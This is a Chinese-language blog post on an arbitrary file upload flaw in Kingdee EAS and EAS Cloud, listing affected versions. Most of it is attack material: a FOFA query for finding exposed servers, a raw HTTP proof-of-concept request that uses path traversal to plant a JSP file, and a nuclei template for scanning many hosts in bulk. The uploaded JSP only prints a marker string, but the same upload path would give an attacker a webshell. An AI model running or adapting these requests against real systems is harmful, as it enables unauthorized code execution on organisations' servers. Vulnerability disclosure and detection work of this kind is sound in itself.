首页 > 其他分享 >金蝶EAS myUploadFile任意文件上传漏洞

金蝶EAS myUploadFile任意文件上传漏洞

时间:2023-10-14 21:11:25浏览次数:45  
标签:金蝶 WebKitFormBoundarySq4lDnabv8CwHfvx Accept Content 537.36 myUploadFile EAS

漏洞简介

金蝶 EAS 及 EAS Cloud 是金蝶软件公司推出的一套企业级应用软件套件,旨在帮助企业实现全面的管理和业务流程优化。金蝶EAS及EAS cloud存在任意文件上传漏洞

影响版本

金蝶 EAS 8.0,8.1,8.2,8.5
金蝶 EAS Cloud 8.6私有云,8.6公有云,8.6.1,8.8

漏洞复现

fofa语法:app="Kingdee-EAS"
登录页面如下:

POC:

POST /easportal/buffalo/%2e%2e/cm/myUploadFile.do HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Content-Length: 210
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySq4lDnabv8CwHfvx
Cookie: sl-session=sqPhC9MLJmWsiN7c9/P6tA==
SL-CE-SUID: 47

------WebKitFormBoundarySq4lDnabv8CwHfvx
Content-Disposition: form-data; name="myFile"; filename="/qcge.jsp"
Content-Type: text/html

<%out.println("qhzkgvst");%>
------WebKitFormBoundarySq4lDnabv8CwHfvx--

上传后的文件路径为:/easportal/buffalo/../qcge.jsp

nuclei批量yaml文件

id: Kingdee_EAS_myUploadFile_upload
info:
  name: 金蝶 EAS任意文件上传漏洞
  author: mhb17
  severity: critical
  description: 

requests:
  - raw:
      - |-
        POST /easportal/buffalo/%2e%2e/cm/myUploadFile.do HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
        Connection: close
        Accept: */*
        Accept-Language: en
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySq4lDnabv8CwHfvx
        Cookie: sl-session=sqPhC9MLJmWsiN7c9/P6tA==
        Accept-Encoding: gzip, deflate
        Content-Length: 211
        SL-CE-SUID: 47

        ------WebKitFormBoundarySq4lDnabv8CwHfvx
        Content-Disposition: form-data; name="myFile"; filename="/qcge.jsp"
        Content-Type: text/html

        <%out.println("qhzkgvst");%>
        ------WebKitFormBoundarySq4lDnabv8CwHfvx--
      - |+
        GET /easportal/buffalo/../qcge.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

    req-condition: true
    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'contains((body_2), "qhzkgvst") && status_code_2 == 200' 

标签:金蝶,WebKitFormBoundarySq4lDnabv8CwHfvx,Accept,Content,537.36,myUploadFile,EAS
From: https://www.cnblogs.com/pursue-security/p/17764741.html

相关文章

  • 金蝶云星空单据界面内增加动态数据展示的单据体
    业务场景有时候,当前订单需要动态显示一些字段或者整个实体用来进行数据对比或者用来动态选择等特殊业务场景,这些数据并不需要保存到数据库。 金蝶BOS实现1、单据体设置 2、字段设置 这样子单据界面绑定的数据都不会写入到数据库。完美。......
  • Some seqs are too long, please rebuild the program with make parameter MAX_SEQ=n
     001、cd-hit报错如下Someseqsaretoolong,pleaserebuildtheprogramwithmakeparameterMAX_SEQ=new-maximum-length(e.g.makeMAX_SEQ=10000000) 002、解决方法重新编译该软件:(base)[[email protected]]$makeMAX_SEQ=10000000......
  • [安洵杯 2019]easy_serialize_php
    原理反序列化字符串逃逸解题过程跟sql拼接差不多_SESSION['imgflagphp']=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}参考文章:https://blog.csdn.net/weixin_52585514/article/details/124291588https://xz.aliyun.com/t/9895......
  • C. Decreasing String
    C.DecreasingStringRecallthatstring$a$islexicographicallysmallerthanstring$b$if$a$isaprefixof$b$(and$a\neb$),orthereexistsanindex$i$($1\lei\le\min(|a|,|b|)$)suchthat$a_i<b_i$,andforanyindex$j$($1\lej......
  • ACS系列(5) ACS QT版C Demo Measurement
    1)工程文件QT=coreCONFIG+=c++17cmdline#YoucanmakeyourcodefailtocompileifitusesdeprecatedAPIs.#Inordertodoso,uncommentthefollowingline.#DEFINES+=QT_DISABLE_DEPRECATED_BEFORE=0x060000#disablesalltheAPIsdeprecatedbefor......
  • 「闲话随笔」 C++ namespace K8He-Math version -1.0.0 is officially released!
    C++namespaceK8He-Mathversion-1.0.0isofficiallyreleased!写着玩的,不清楚是否有实用价值,看个乐就行,别D.有Bug可以自己调(怎么用感觉比较好看出来.namespaceMATH{ namespaceType{ usingi32=int; usingi64=longlong; usingu32=std::uint32_t;......
  • CF1886C Decreasing String 题解
    题面\(S_n\)由\(S_{n-1}\)去掉一个字母得到,\(S=S_1+S_2+...+S_n\)给定\(S_1\)求\(S\)的第\(N\)位solution我们先考虑怎样去字母能保持字典序最小显然,我们发现如果一个字母比前面那个字母小,那么我们就要删除前面那个字母也就是我们要删除一些字母,保持剩余的字母单调......
  • EasyMock 使用方法与原理剖析
    https://www.ibm.com/developerworks/cn/opensource/os-cn-easymock/ Mock方法是单元测试中常见的一种技术,它的主要作用是模拟一些在应用中不容易构造或者比较复杂的对象,从而把测试与测试边界以外的对象隔离开。编写自定义的Mock对象需要额外的编码工作,同时也可能引入错误。Ea......
  • C++程序在debug结果正确但release结果错误或两个模式下结果不同
    今天在运行release工程时发现运行结果出现了-1.#IND00,1.#INF00。但是在debug下可以计算出数字。于是在网上查找资料。尝试修改配置属性优化方法为已禁用。未果尝试修改调试信息格式。未果尝试修改代码生成运行库。未果原因:最后通过输出变量仔细对比发现是某个函......
  • 安装NVIDA驱动时,出现your appear to running an x server;please exit x before insta
    安装NVIDA驱动时,出现yourappeartorunninganxserver;pleaseexitxbeforeinstalling.forfurtherdetails这个错误主要是由于安装远程控制lightgm导致X-server启动。解决办法:sudochmod+xNVIDIA-Linux-X86_64-440.100.runsudo./NVIDIA-Linux-X86_64-440.100.run......